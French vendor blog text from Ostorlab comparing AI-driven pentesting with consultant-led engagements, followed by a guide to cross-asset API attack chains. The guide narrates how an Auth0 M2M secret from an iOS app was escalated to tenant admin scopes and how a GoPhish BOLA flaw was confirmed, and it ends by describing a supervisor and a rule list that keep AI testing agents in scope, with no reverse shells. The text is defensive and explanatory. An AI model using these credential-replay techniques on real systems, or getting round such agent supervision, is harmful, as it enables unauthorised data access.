Offres AppSec et Enterprise : les offres continues d'Ostorlab, avec surveillance continue et nouveaux scans. Sur ces offres, la validation humaine est une option (AppSec) ou est configurable (Enterprise).
Agentic Deep Scan : le moteur de test à agents IA utilisé par l'AI Pentest d'Ostorlab pour les workflows authentifiés, les autorisations et la logique métier. AI Pentest est le service d'évaluation ; Agentic Deep Scan est la technologie de test.

Ostorlab vs pentest traditionnel en un coup d'œil

Le tableau ci-dessous compare Ostorlab à une mission pilotée par des consultants selon huit axes. Les fonctionnalités des offres continues sont distinguées de l'AI Pentest ponctuel.

Axe	Ostorlab	Mission traditionnelle pilotée par des consultants
Coût	AI Pentest à partir de 499 $ ; offres continues tarifées séparément	Tarifé en jours de consultant et selon le périmètre, généralement 3 000 à 18 000 $ par application web
Délai d'obtention des résultats	Délai estimé de l'AI Pentest : Core 5 à 7 jours, Advanced 10 à 14 jours, Elite 15 à 20 jours ; à confirmer selon le périmètre et la date de démarrage	Généralement 1 à 3 semaines de tests actifs, plus la planification et la rédaction du rapport
Validation humaine	Non incluse dans AI Pentest ; option pour AppSec ; configurable pour Enterprise	Tests et revue menés par des humains pendant la mission
Fréquence des tests	À chaque build et version sur les offres continues	Pendant la mission convenue ; les répétitions sont planifiées
Profondeur technique	Investigation des workflows par IA, validation et enchaînement d'exploits	Investigation menée par des experts, cas de test sur mesure, revue de conception
Applications connectées	Actifs mobiles, web, API et code source testés ensemble	Mêmes composants, lorsqu'ils sont inclus dans le périmètre
Workflow de développement	Les intégrations CI/CD déclenchent des scans à chaque changement de code	Résultats remis pendant ou après la mission
Remédiation	Preuves de reproduction, intégrations de ticketing, vérification des correctifs	Conseils du testeur, échanges et retests convenus

Les délais décrivent des étapes de livraison différentes. Délais estimés de l'AI Pentest sur la page des offres : Core 5 à 7 jours, Advanced 10 à 14 jours, Elite 15 à 20 jours ; notre guide du pentest pour les startups décrit 1 à 3 semaines de tests manuels actifs. Confirmez dans le devis la disponibilité de l'environnement, la planification, la revue humaine et la remise du rapport.

Bon à savoir : un AI Pentest ponctuel n'est pas un test continu. La surveillance continue est fournie avec les offres continues AppSec et Enterprise.

Combien coûte Ostorlab par rapport à un cabinet de pentest ?

En septembre 2026, l'AI Pentest d'Ostorlab démarre à 499 $ pour une évaluation ponctuelle (le niveau Core). Un pentest manuel d'application web coûte généralement de 3 000 à 18 000 $, selon la complexité, la zone géographique et le type de prestataire, d'après notre guide 2026 du coût d'un test d'intrusion d'application. Le même guide situe les évaluations plus larges couvrant le web, les API, le mobile et le cloud entre 18 000 et 50 000 $ et plus. Ces fourchettes décrivent des périmètres différents.

Les applications volumineuses et complexes coûtent plus cher. Intruder, un éditeur de scan de vulnérabilités, situe le tarif journalier d'un testeur entre 1 500 et 2 500 $. Une application web simple peut nécessiter trois jours de profil junior (environ 4 500 $) ; une application complexe, quinze jours de profil senior (environ 37 500 $).

Ces périmètres ne sont pas identiques : n'interprétez donc pas l'écart comme une économie à périmètre égal. Ce qui compte, c'est le budget d'entrée. Les équipes paient pour des tests plus d'une fois par an : une nouvelle version, la vérification d'un correctif, un workflow sensible qui a de nouveau changé. Un prix plus bas par évaluation facilite le financement de ces contrôles. Les offres continues sont tarifées selon la couverture applicative et les AI Security Credits, le volume d'utilisation autorisé pour les actions d'IA avancées comme les tests agentiques et la validation des correctifs. Les tests courants de l'espace de travail sont inclus séparément, comme indiqué sur la page des offres.

Là où les consultants justifient leurs honoraires : la revue détaillée d'un système d'identité sur mesure peut nécessiter plusieurs jours d'analyse et des échanges avec ses concepteurs. Automatiser les tests répétables laisse davantage de budget pour ce type de travail ciblé.

Un pentest traditionnel peut-il couvrir des applications qui sortent une version chaque semaine ?

Pas à lui seul. Une mission traditionnelle examine l'application telle qu'elle existe pendant la fenêtre de test : chaque version publiée ensuite part en production sans avoir été testée, jusqu'à la mission suivante.

Le test continu comble cet écart en répétant les tests à mesure que l'application change, à chaque build ou version, au lieu d'un test par mission.

Pentest ponctuel vs test continu

Sur les offres continues d'Ostorlab, cela se traduit ainsi :

Déclenchement par le pipeline : l'intégration GitHub scanne les builds mobiles et les applications web, et peut faire échouer le build au-delà d'un niveau de risque choisi.
Profondeur adaptée : profils de scan courants pendant le développement, investigation plus poussée pour les changements importants.
Vérification des correctifs : le comportement concerné est testé à nouveau une fois le correctif déployé.

Continu ne veut pas dire « tout exécuter en permanence ». Un contrôle rapide du build et un scan approfondi remplissent des fonctions différentes. Un programme pragmatique associe des contrôles récurrents, des tests plus poussés autour des versions importantes et une vérification après remédiation.

Il ne s'agit pas non plus seulement d'opposer prestataires récents et établis. Certains cabinets de conseil bien connus proposent désormais des modèles continus :

NCC Group, un cabinet de conseil en cybersécurité dont le siège est au Royaume-Uni, affirme que son pentest continu est « déclenché par le changement, afin que les fonctionnalités nouvelles et mises à jour soient évaluées au fur et à mesure de leur développement. »
Bishop Fox, une société américaine de sécurité offensive, propose des tests d'intrusion d'applications assistés par IA à l'aide de son moteur d'IA Cosmos, et indique que « chaque vulnérabilité est examinée, testée et validée par un pentesteur de Bishop Fox. »

La vraie distinction est donc programme continu vs mission planifiée, et non l'identité du prestataire.

Le pentest par IA va-t-il aussi loin qu'un pentesteur humain ?

Pour l'investigation technique répétable, oui, c'est possible ; pour les règles que seule votre équipe produit peut expliquer, un spécialiste humain va encore plus loin.

L'authentification, les permissions et les workflows en plusieurs étapes exigent tous de connaître le contexte du fonctionnement attendu de l'application. L'Agentic Deep Scan d'Ostorlab couvre les tests de workflows authentifiés, les contrôles d'autorisation, l'investigation de la logique métier et les chemins d'attaque qui traversent une application et ses API.

Lorsque c'est sans danger, il réalise une validation d'exploit : il confirme une vulnérabilité en l'exploitant de manière contrôlée, au lieu de signaler quelque chose qui pourrait seulement être vulnérable. Les vulnérabilités sont accompagnées d'étapes de reproduction, de captures d'écran et de preuves sous forme de requêtes et de réponses, et une vue d'analyse montre le plan et le raisonnement de l'investigation. Pour savoir comment juger ces preuves, voir peut-on faire confiance aux résultats du pentest par IA ?

Plan de test de l'Agentic Deep Scan pour une vulnérabilité d'autorisation

Exemple : la frontière des factures. Un client ne doit voir que les factures de sa propre organisation. Tester cela revient à utiliser différentes identités, à demander les enregistrements d'une autre organisation et à analyser la réponse. Si l'accès réussit, la vulnérabilité montre exactement ce qui a été exposé et dans quelles conditions.

Là où les consultants vont plus loin : certaines applications ont des règles que seuls les responsables produit peuvent expliquer, comme un accès délégué soumis à des conditions contractuelles précises ou des plafonds d'approbation régionaux. Un spécialiste peut analyser ces exigences avec votre équipe, construire des tests autour d'elles et élargir à la revue d'architecture et à la modélisation des menaces.

Ostorlab peut-il tester ensemble le mobile, le web et les API ?

Oui. Le test multi-actifs d'Ostorlab investigue ensemble des cibles mobiles, web, API et de code source liées entre elles, et regroupe les résultats dans un seul rapport. C'est important, car les faiblesses sérieuses traversent souvent plusieurs composants.

La vulnérabilité présentée ci-dessous illustre un chemin d'attaque du mobile vers l'API : des identifiants machine à machine Auth0 intégrés dans le bundle d'une application iOS donnent accès à l'API Management d'Auth0 et exposent les données utilisateurs de tout le tenant. Le résultat important est le lien entre l'identifiant mobile exposé et ses permissions côté backend.

Chaîne d'attaque du mobile vers l'API découverte par un test multi-actifs

Un test limité au mobile signalerait un secret codé en dur. Un test limité à l'API ne le verrait jamais. Testée dans son ensemble, la vulnérabilité montre aux développeurs quel client a exposé le problème, quel comportement du backend l'a rendu critique et où le correctif doit être appliqué.

Un cabinet de conseil peut retracer les mêmes relations. La différence tient au format : Ostorlab vous fournit un workflow réutilisable à mesure que ces composants évoluent, tandis qu'une mission vous apporte l'attention concentrée d'experts pendant la période d'évaluation.

Dans les deux cas, le périmètre compte. Un test d'API seul ne couvrira ni le stockage local, ni les protections à l'exécution, ni d'autres comportements propres au mobile.

Comment les vulnérabilités sont-elles corrigées et retestées ?

Dans les deux modèles, une vulnérabilité devient un ticket, un correctif et un retest ; la différence tient à la part de cette boucle qui est reproductible.

Le rapport d'exemple public d'Ostorlab inclut une vulnérabilité d'autorisation de compte, avec des identités d'utilisateur distinctes, des étapes de reproduction et des réponses enregistrées. À partir de là :

La suivre : lorsque l'intégration Jira est activée pour votre offre, l'intégration Jira crée et synchronise les tickets, de sorte que les vulnérabilités arrivent dans votre backlog existant. Confirmez la disponibilité de Jira dans votre abonnement ou votre devis avant de vous appuyer sur ce workflow.
La vérifier : une fois le correctif livré, un retest revient sur le comportement concerné pour confirmer que la vulnérabilité a disparu. Pour une vulnérabilité d'autorisation sur les factures, cela revient à confirmer que l'accès non autorisé est bloqué et que l'accès légitime fonctionne toujours.
Surveiller les régressions : des tests continus vous donnent davantage d'occasions de détecter le problème s'il réapparaît.

Une vulnérabilité validée marquée Fixed & Verified après retest

Là où les consultants aident : un échange direct est précieux lorsqu'un correctif implique des arbitrages d'architecture ou plusieurs équipes. Leur service de retest vérifie les vulnérabilités convenues après remédiation.

Un audit ou une revue client en vue ? Le dossier d'évaluation compte autant que les vulnérabilités. Le OWASP Web Security Testing Guide recommande un rapport couvrant le périmètre, les limites, l'impact et la remédiation. Si vous avez besoin d'un rapport signé, d'un évaluateur nommé ou d'une méthodologie précise, convenez-en avant le début des tests. Pour SOC 2 en particulier, voir SOC 2 peut-il accepter un rapport de test d'intrusion réalisé par IA ?

Faut-il choisir Ostorlab, un cabinet de pentest, ou les deux ?

Choisissez selon la fréquence de changement de votre application et les points où vous avez besoin du jugement d'un humain.

Choisissez Ostorlab lorsque vous testez souvent une application qui évolue

Vous avez besoin d'un budget d'entrée réduit. Commencez par un AI Pentest délimité, sans mission lourde à engager.
Vous publiez fréquemment. Les offres continues prennent en charge des contrôles récurrents et des scans plus poussés autour des gros changements.
Votre produit couvre le mobile, le web et les API. Les tests connectés suivent les problèmes d'un composant à l'autre et consolident les résultats.
Vous voulez des tests proches de l'ingénierie. Les preuves, l'intégration CI/CD et les workflows de remédiation aident les équipes à agir sur les vulnérabilités et à vérifier les correctifs.

Choisissez un cabinet de conseil lorsque vous avez besoin d'une expertise dédiée

Revue spécialisée. La cryptographie sur mesure, le matériel, les protocoles inhabituels ou l'analyse d'architecture peuvent nécessiter une mission au périmètre défini séparément.
Règles métier complexes. Les testeurs peuvent avoir besoin de travailler étroitement avec les responsables produit sur les permissions, les exceptions et les scénarios d'abus.
Une refonte majeure. Des changements touchant l'identité, l'isolation des tenants ou la logique de paiement peuvent justifier une revue ciblée par une équipe expérimentée.
Un format de rapport imposé. Des exigences contractuelles portant sur un évaluateur ou un type de mission peuvent trancher à votre place.

Utilisez les deux pour une couverture récurrente et une expertise ciblée

Une entreprise qui déploie un nouveau modèle de permissions par tenant pourrait faire appel à des spécialistes pour revoir la conception, puis utiliser des tests récurrents pour vérifier l'implémentation à mesure qu'elle évolue. Vous maintenez une fréquence de test élevée et vous consacrez le temps des consultants là où il compte.

Pour une vue d'ensemble, y compris le pentest en tant que service (PTaaS) comme option intermédiaire, lisez notre guide sur le pentest autonome vs traditionnel.

Mis à jour le 2 octobre 2026 : la validation humaine n'est pas incluse dans AI Pentest, et les délais correspondent désormais aux durées estimées Core, Advanced et Elite de la page des offres.

Questions fréquentes

Ostorlab peut-il remplacer un cabinet de pentest ?

Les offres continues AppSec et Enterprise d'Ostorlab peuvent assurer des tests applicatifs récurrents, notamment des workflows authentifiés, des contrôles d'autorisation et la validation d'exploits à mesure que l'application change. L'AI Pentest ponctuel est une évaluation distincte, avec une fenêtre de retest incluse. Un cabinet de conseil reste le meilleur choix pour la cryptographie sur mesure, le matériel, la revue d'architecture, ou lorsqu'un contrat exige un évaluateur nommé.

Un pentest par IA coûte-t-il beaucoup moins cher qu'un pentest manuel ?

L'AI Pentest d'Ostorlab démarre à 499 $ pour une évaluation ponctuelle. Un pentest manuel d'une seule application web coûte généralement de 3 000 à 18 000 $ ; des évaluations plus larges couvrant le web, les API, le mobile et le cloud peuvent coûter de 18 000 à 50 000 $ et plus. Les périmètres diffèrent : l'écart n'est donc pas une économie à périmètre égal.

Combien de temps dure un pentest par IA par rapport à une mission de consultants ?

Les délais estimés de l'AI Pentest d'Ostorlab sont de 5 à 7 jours pour Core, de 10 à 14 jours pour Advanced et de 15 à 20 jours pour Elite. Notre guide du pentest pour les startups décrit le test manuel comme 1 à 3 semaines de tests actifs, plus la rédaction du rapport et la planification. L'exécution du scan et la remise d'un rapport signé sont des jalons différents. Confirmez le périmètre, la disponibilité de l'environnement et l'échéance de livraison avant de réserver.

Consultez les offres d'Ostorlab et le calendrier d'un test manuel.

Un AI Pentest Ostorlab inclut-il une revue humaine ?

Non. La validation humaine n'est pas incluse dans l'AI Pentest ponctuel, qui comprend une fenêtre de retest. Sur les offres continues AppSec, la validation humaine est une option ; sur Enterprise, elle est configurable.

Un rapport de pentest par IA est-il accepté pour SOC 2 ou pour les revues de sécurité des clients ?

Souvent, mais cela dépend de ce qu'exige l'auditeur ou le client. Convenez du périmètre, de la méthodologie, du format du rapport et de la nécessité d'un évaluateur nommé avant le début des tests. Notre guide SOC 2 présente ce que recherchent les auditeurs.

Les cabinets de pentest traditionnels proposent-ils des tests continus ?

Certains, oui. NCC Group propose un test d'intrusion continu déclenché par le changement, et Bishop Fox propose des tests d'applications assistés par IA dont les vulnérabilités sont validées par ses pentesteurs. La vraie distinction est celle entre un programme continu et une mission planifiée.

À propos de l'auteur : Youssef Mabrouk est Digital Marketer chez Ostorlab ; il étudie les outils de cybersécurité et produit des contenus pédagogiques.

Vous voulez voir ce qu'Ostorlab couvrirait pour votre produit ? Parcourez le rapport d'exemple, commencez par un AI Pentest délimité sur votre prochaine version, ou parlez à notre équipe.

Vous travaillez déjà avec un cabinet de pentest ? Lancez Ostorlab sur l'application que couvrira votre prochaine mission : même cible, même durée. Une vulnérabilité ne compte qu'après avoir été reproduite par votre équipe.

Pourquoi les tests de sécurité des API passent à côté des chaînes d'attaque inter-actifs

2026-09-25T14:00:00+02:00

Votre scanner d'API peut vous remettre un rapport sans aucune alerte pendant qu'un attaquant entre comme chez lui. Sa requête est valide, elle porte un vrai jeton, et le serveur y répond correctement. Le problème, c'est l'origine du jeton. Il vient d'un endroit que votre scanner n'a jamais vérifié : une chaîne compilée dans votre application mobile, une route oubliée dans un bundle JavaScript ou un secret resté dans l'historique Git.

Les tests de sécurité des API seuls échouent parce que de nombreuses compromissions d'API à fort impact ne commencent pas au niveau de l'API. Elles commencent par un identifiant, une route ou un format de requête extraits d'une application mobile, d'un bundle JavaScript ou du code source, puis rejoués sous la forme d'une requête valide. Un scanner qui ne teste que l'API ne voit jamais où la chaîne commence.

Dans une application iOS que nous avons évaluée, un secret Auth0 codé en dur a mené à un annuaire de 1 000 enregistrements d'utilisateurs, alors que le premier résultat portant sur cet identifiant avait déjà été marqué Fixed & Verified. Cette histoire est racontée plus bas. Ce guide s'adresse aux responsables AppSec et aux ingénieurs DevSecOps dont les API servent des clients mobiles ou web.

Résumé (TL;DR)

Dans nos évaluations, beaucoup des résultats les plus graves sur les API ne commençaient pas à l'API. Ils commençaient par un identifiant ou une route extraits d'une application cliente ou du code, puis rejoués comme une requête valide.
Les scanners qui testent un seul actif à la fois voient chacun la moitié de cette chaîne. Rassembler leurs rapports dans un même tableau de bord après coup ne relie pas les deux moitiés.
Pour détecter ces chaînes, testez les applications clientes, le code et l'API active dans une même évaluation, et appliquez les correctifs côté serveur.

Qu'est-ce qu'une chaîne d'attaque inter-actifs ? Une chaîne d'attaque inter-actifs est une série de faiblesses réparties sur plusieurs actifs, par exemple une application mobile, un frontend web, un dépôt de code source et une API backend. Chaque faiblesse paraît mineure isolément. Ensemble, elles donnent à un attaquant accès à des données ou à des fonctions qu'il ne devrait jamais atteindre.

La chaîne typique comporte trois étapes :

Extraire quelque chose d'un client ou du code : un jeton, une clé de signature, une route non documentée ou un format de requête.
Rejouer cet élément contre une API backend sous la forme d'une requête valide.
Escalader grâce à une faille d'autorisation côté serveur : l'objet d'un autre utilisateur (BOLA), une fonction privilégiée (BFLA) ou un périmètre de jeton plus large.

Aucune de ces étapes ne ressemble à une attaque prise isolément. La première est une chaîne statique, la deuxième est une requête authentifiée, la troisième est une réponse d'API ordinaire. La compromission n'apparaît que lorsqu'on les lit dans l'ordre.

À quoi ressemblent les chaînes d'attaque inter-actifs en pratique ?

Les deux chaînes ci-dessous proviennent d'évaluations réelles d'Ostorlab, chacune publiée plus en détail sur ce blog. Toutes deux ont fait intervenir Ostorlab Agentic Deep Scan, qui exécute des agents de test autonomes contre un actif : un binaire mobile dans le premier cas, du code source dans le second. Chacune est devenue une compromission confirmée seulement lorsque l'identifiant ou la route extraits ont été rejoués contre le backend actif.

1. D'un secret client Auth0 codé en dur dans une application iOS à des scopes d'administration sur tout le tenant

Dans une évaluation présentée dans How AI Catches Complex Vulnerabilities, une application iOS embarquait un client_id et un client_secret Auth0 de type machine-to-machine (M2M). Les deux étaient intégrés au moment du build via les DART_DEFINES de Flutter. L'application les utilisait pour appeler un service interne.

Le premier résultat portant sur cet identifiant, limité à l'unique audience que l'application appelle, avait été classé High et était déjà marqué Fixed & Verified. Le correctif fermait le chemin utilisé par l'application, pas tout ce que l'identifiant pouvait atteindre.

Un scanner statique signalerait la chaîne. Étant donné l'audience que l'application demande légitimement, un scanner d'API verrait un jeton correctement limité. Mais l'agent a posé une autre question. Un client M2M peut se voir accorder l'accès à plus d'une API : à quoi d'autre ce client était-il autorisé à accéder ?

Il a essayé 38 audiences candidates sur l'endpoint /oauth/token du tenant. L'Auth0 Management API (https://<tenant>.auth0.com/api/v2/) a répondu avec un HTTP 200 et un jeton portant huit scopes d'administration, dont update:users, delete:users et create:client_credentials. Un simple GET en lecture seule a ensuite exposé l'annuaire complet du tenant, soit 1 000 enregistrements, données personnelles (PII) comprises. Aucune écriture n'a été effectuée, mais le jeton aurait pu créer, modifier et supprimer des utilisateurs. Ce second résultat a été classé Critical et était toujours Open.

Chaîne d'attaque d'un identifiant Auth0 M2M à la Management API

Figure 1 : un identifiant M2M extrait d'un binaire iOS se transforme en scopes d'administration sur l'Auth0 Management API.

Pourquoi un test à une seule couche passe à côté : l'identifiant se trouve dans le binaire, et l'autorisation trop large se trouve dans la configuration du fournisseur d'identité. Ni l'un ni l'autre n'apparaît dans la spécification de l'API.

2. L'endpoint de création qui transférait la propriété (BOLA)

Dans l'évaluation du code source de GoPhish, où une revue manuelle était associée à Ostorlab Agentic Deep Scan, l'endpoint de création de groupe (POST /api/groups/) effectuait un upsert silencieux. Un corps JSON valide portant l'id du groupe d'un autre utilisateur écrasait les données de destinataires de ce groupe et transférait la propriété à l'attaquant.

Agentic Deep Scan a repéré le motif dans le code, où les handlers de création acceptaient un id. L'évaluation l'a ensuite confirmé en rejouant la requête en tant que second utilisateur contre une instance GoPhish locale isolée, avec des comptes synthétiques. Ce rejeu écrase des données : il a sa place dans un laboratoire, pas en production.

Prise de contrôle d'un groupe entre utilisateurs via une requête de création

Figure 2 : preuve anonymisée issue de l'évaluation de GoPhish. Un second utilisateur prend le contrôle d'un groupe existant grâce à une requête de création portant son ID. Les noms de comptes, les clés d'API et les endpoints sont synthétiques.

Pourquoi un test à une seule couche peut passer à côté : la requête était bien formée et authentifiée, et la faille se trouve dans la logique de propriété, pas dans la validation des entrées. Les vérifications de contrat et le fuzzing basé sur le schéma n'ont donc rien à signaler. Un test multi-utilisateurs ne la détecte que s'il envoie l'ID d'un autre utilisateur dans une requête de création. Lire le handler montre exactement où essayer cela.

Pourquoi les scanners d'API à une seule couche ratent-ils ces chaînes ?

Les scanners à une seule couche ratent ces chaînes parce que chacun ne voit que son propre actif : aucun ne relie un secret trouvé dans un client à l'API que ce secret déverrouille. La plupart des outils de sécurité couvrent un seul coin de la pile : le code source, le trafic de la passerelle ou du WAF, ou des requêtes de test contre un serveur de préproduction. Aucun n'est défaillant ; chacun teste son propre actif de façon isolée.

Mais les API backend sont appelées par des binaires mobiles (.ipa sur iOS, .apk sur Android), des applications web monopages, des intégrations partenaires et des services internes, et tous embarquent de la configuration, et souvent des secrets, à des endroits qu'un attaquant peut lire. Testés un par un, chaque actif peut réussir le test pendant que la chaîne qui les relie passe inaperçue. Certaines plateformes combinent désormais le test du code, de l'exécution et des API, ce dont ces chaînes ont besoin.

D'où fuitent les identifiants et les routes d'API ?

Les identifiants et les routes d'API fuient généralement de cinq sources qu'un attaquant peut exploiter : les binaires mobiles, les bundles web, les dépôts de code source et le CI, la documentation des API, et des canaux secondaires comme les WebSockets. Ce sont celles que nous rencontrons le plus souvent lors des évaluations :

Source	Ce qu'un attaquant extrait	Impact typique sur l'API
Binaires mobiles (APK / IPA / AAB)	Des identifiants confidentiels qui ne devraient jamais être livrés dans une application, comme les secrets client M2M et les valeurs `client_secret` partagées (le `client_id` public d'une application native est censé être visible), des clés d'API privilégiées injectées au moment du build (par exemple `DART_DEFINES` de Flutter ou `BuildConfig` d'Android), des clés de chiffrement et la logique de signature des requêtes, des endpoints cachés ou de débogage	Génération de jetons, contournement de la signature des requêtes, appels vers des API internes ou de préproduction
Bundles web (JavaScript de SPA, source maps)	Des routes d'administration et internes que l'interface n'affiche jamais, des endpoints derrière des feature flags, des clés d'API tierces, des noms d'opérations GraphQL	Endpoints non documentés (API fantômes), fonctions privilégiées accessibles sans contrôle côté interface (BFLA)
Dépôts de code source et CI	Des secrets dans l'historique des commits, des jetons de déploiement, des définitions de routes, des handlers sans middleware d'autorisation	Accès authentifié direct, et liste précise des routes sans contrôle de propriété
Documentation et collections d'API (OpenAPI, Postman, introspection GraphQL)	Les formes complètes des requêtes, des versions dépréciées toujours actives, les formats d'identifiants d'objets	Énumération massive et accès via d'anciennes versions de l'API (gestion d'inventaire inadaptée)
Canaux secondaires (WebSockets, gRPC-web)	Les chemins d'endpoints et les noms d'opérations exposés par le canal, et des handshakes qui contournent le middleware d'authentification HTTP	Flux de données ou abonnements non authentifiés (authentification défaillante, BFLA)

Un scanner qui travaille uniquement à partir d'un fichier OpenAPI et d'un compte de test démarre sans aucun de ces artefacts. Il teste donc l'API qu'utilise un client bien élevé. Il ne teste pas celle qu'utilisera un attaquant.

Quels risques de l'OWASP API Top 10 sont plus faciles à trouver avec un contexte extérieur à l'API ?

Les risques de l'OWASP API Security Top 10 (2023) sont des failles côté serveur : BOLA et BFLA se corrigent toujours dans l'API. Mais plusieurs d'entre eux sont plus faciles à découvrir ou à valider avec un contexte extérieur à l'API, comme une application cliente ou le code source :

Risque OWASP API	Contexte externe qui aide à le trouver ou à le valider	Ce que voit un scan limité à l'API
API1 : Broken Object Level Authorization (BOLA)	Les formats d'identifiants d'objets et le chiffrement des requêtes appris à partir de l'application cliente	Des requêtes sur ses propres objets de test, qui réussissent comme prévu
API2 : Broken Authentication	Des identifiants clients ou des jetons de longue durée extraits d'un binaire ou d'un dépôt	Rien, à moins que quelqu'un ne lui remette l'identifiant divulgué
API3 : Broken Object Property Level Authorization	Des champs cachés trouvés dans les modèles clients ou les types GraphQL	Uniquement les champs documentés dans la spécification
API5 : Broken Function Level Authorization (BFLA)	Des routes d'administration dans les bundles web, et des canaux secondaires comme les WebSockets	Les routes HTTP listées dans la spécification, et uniquement les rôles accordés à son compte de test
API8 : Security Misconfiguration	Des clients OAuth, des audiences ou des rôles cloud trop permissifs liés à un identifiant livré	Des problèmes de transport et d'en-têtes sur les endpoints qu'il connaît
API9 : Improper Inventory Management	Des hôtes de préproduction, d'anciennes versions et des endpoints de débogage référencés dans les clients et le code	Uniquement l'inventaire qu'on lui a fourni

Les quatre autres (API4 Unrestricted Resource Consumption, API6 Unrestricted Access to Sensitive Business Flows, API7 SSRF et API10 Unsafe Consumption of APIs) sont généralement testés depuis l'API.

Pourquoi les passerelles d'API, les plateformes ASPM ou les pipelines de scanners ne détectent-ils pas ces chaînes ?

La plupart des équipes disposent déjà d'une passerelle d'API, d'une plateforme ASPM ou d'un pipeline CI qui exécute plusieurs scanners. Chacun apporte quelque chose, mais aucun ne teste à lui seul un identifiant divulgué contre l'API. Prenons une chaîne courante : une application mobile embarque un jeton d'API codé en dur, un attaquant appelle le backend avec ce jeton, et une mauvaise configuration donne à ce jeton des droits d'administration.

La passerelle d'API laisse passer la requête

Une passerelle vérifie que les requêtes sont bien formées, applique des limites de débit et vérifie que les jetons sont authentiques et correctement signés. Dans cette attaque, la requête est valide et le jeton est réel. La passerelle n'a aucun moyen de savoir qu'un jeton livré dans une application publique ne devrait jamais porter de droits d'administration.

L'agrégation ASPM ne relie pas les points

Les plateformes de gestion de la posture de sécurité applicative (ASPM, Application Security Posture Management) rassemblent dans une seule vue les résultats des scanners mobiles, de code et d'API. Cela aide au tri et à l'attribution des responsabilités. Mais lorsque la corrélation intervient après la fin des scans, rien n'est testé d'un actif à l'autre. Certaines plateformes intègrent leurs propres scanners : la distinction qui compte est donc le moment de la corrélation, pas la catégorie de produit :

Dimension	Agrégation ASPM	Corrélation pendant le scan
Quand la corrélation a lieu	Une fois que chaque scanner a terminé	Pendant le scan, tant que les tests sont en cours
Ce qui est corrélé	Des résultats qui existent déjà	Des découvertes brutes : jetons, routes, formats de requêtes
Peut-elle tester un jeton divulgué contre l'API ?	Pas par l'agrégation seule ; elle relie deux résultats	Oui, le jeton devient l'entrée du test suivant en conditions réelles
Sortie	Deux résultats liés, souvent de sévérités différentes	Une chaîne validée avec preuve des requêtes et des réponses
Sévérité	Héritée de chaque scanner	Fondée sur l'impact démontré de la chaîne

Un pipeline de scanners exécute les outils à la suite, pas ensemble

Enchaîner des scanners dans le CI les exécute l'un après l'autre, mais aucun ne voit ce que les autres ont trouvé. Le scanner mobile trouve un secret client dans l'APK ou l'IPA, ne peut pas dire où il fonctionne et enregistre un résultat statique de faible sévérité. Le scanner d'API teste le backend à partir du schéma public et n'entend jamais parler du secret.

Comment un scan multi-actifs teste-t-il toute la chaîne ?

La corrélation pendant le scan signifie qu'une découverte dans un actif, comme une route dans le code source ou un jeton dans un binaire client, devient immédiatement l'entrée de tests contre le backend actif. Le Multi-Asset Deep Agentic Scan d'Ostorlab repose sur cette idée. Là où Agentic Deep Scan étudie un actif à la fois, Multi-Asset Deep Agentic Scan mène une seule investigation agentique sur des actifs liés, notamment l'application mobile, les API backend, les frontends web et le code source, au sein d'un même scan.

Ajout d'actifs à un Multi-Asset Deep Agentic Scan

Figure 3 : ajout d'actifs à un Multi-Asset Deep Agentic Scan : applications mobiles issues d'un store ou sous forme de fichier, applications web, réseaux, dépôts de code et fichiers complémentaires comme les schémas d'API.

Au sein du scan, les binaires mobiles, les frontends web, les API backend et le code source alimentent tous une même étape de validation en conditions réelles, où un jeton ou une route divulgués sont testés contre le backend. Le scan se déroule en trois étapes :

Découverte. L'agent décompile les binaires mobiles (APK, AAB et IPA), lit les bundles JavaScript web, les source maps, les dépôts et la documentation, et exécute les applications sur des appareils Android et iOS instrumentés tout en capturant leur trafic. Il sonde aussi les emplacements OpenAPI et Swagger courants et exécute l'introspection GraphQL. Un schéma OpenAPI (Swagger 2.0 ou OpenAPI 3.x) ou GraphQL améliore la couverture dès le départ, mais il n'est pas obligatoire.
Corrélation. Les artefacts côté client, comme les endpoints, les URL de base, les audiences OAuth, les paramètres de requêtes et les jetons embarqués, sont rapprochés des routes et des services du backend. Un secret trouvé dans le code ou le bytecode est traité comme une piste à investiguer, pas comme une vulnérabilité confirmée.
Validation. Chaque chemin d'attaque plausible est confié à un agent d'exploitation, qui le teste contre le backend actif, par exemple en vérifiant si un jeton authentifie ou si un endpoint renvoie des données qu'il ne devrait pas. Les résultats validés incluent les requêtes et réponses exactes, afin que votre équipe puisse les reproduire.

De nombreux scanners de secrets signalent des chaînes qui ressemblent à des identifiants, et même ceux qui vérifient si une clé est active ne testent pas ce qu'elle permet d'atteindre via votre API. Ici, une chaîne, et la sévérité plus élevée qui l'accompagne, n'est signalée qu'une fois reproduite. Les résultats isolés sont toujours signalés pour eux-mêmes : un identifiant divulgué qui ne fonctionne pas aujourd'hui mérite quand même d'être corrigé.

Couverture des protocoles aujourd'hui :

GraphQL : cartographié par introspection via HTTP ou par un schéma téléversé, puis testé avec des requêtes et des mutations générées.
SOAP : testé en conditions réelles.
gRPC : analysé à partir des définitions .proto pour détecter les risques d'autorisation et d'exposition de données. Les appels gRPC en conditions réelles et la réflexion de serveur ne sont pas encore pris en charge.
WebSocket et abonnements GraphQL : Multi-Asset Deep Agentic Scan n'exécute pas encore de tests en conditions réelles sur les transports WebSocket.

La faille d'autorisation WebSocket citée à l'étape 6 de la checklist ci-dessous a été trouvée lors d'une évaluation ciblée distincte, réalisée par l'AI Pentest Engine d'Ostorlab ; dans un scan multi-actifs, l'autorisation WebSocket reste une vérification manuelle.

Le test autonome d'API est-il sûr à exécuter contre votre backend ?

Oui, avec des garde-fous et une cible de préproduction. Un agent qui teste des API en conditions réelles doit prouver l'impact sans causer de dégâts. Ostorlab superpose donc ses contrôles :

Instructions des agents. Les agents démontrent l'impact par l'action sûre la plus réduite : une faille BOLA ou BFLA est démontrée par une lecture non autorisée, pas par la modification d'enregistrements, et les jetons sont vérifiés avec des requêtes en lecture seule. Les agents n'exécutent pas de commandes destructrices, n'ouvrent pas de reverse shells, n'établissent pas de persistance, ne modifient pas de données et ne révoquent pas d'identifiants.
Un superviseur extérieur au modèle d'IA. Un programme de supervision distinct vérifie chaque appel d'outil et chaque destination par rapport au périmètre du scan avant exécution, bloque les requêtes hors périmètre et arrête le scan si un agent continue d'essayer d'en sortir. Notre post-mortem sur la dérive de périmètre d'un agent IA explique pourquoi cette couche est importante.
Des contrôles extérieurs aux agents. Des règles de pare-feu limitent ce que les agents de scan peuvent atteindre, et le volume de requêtes est plafonné au niveau de l'hôte du scanner.

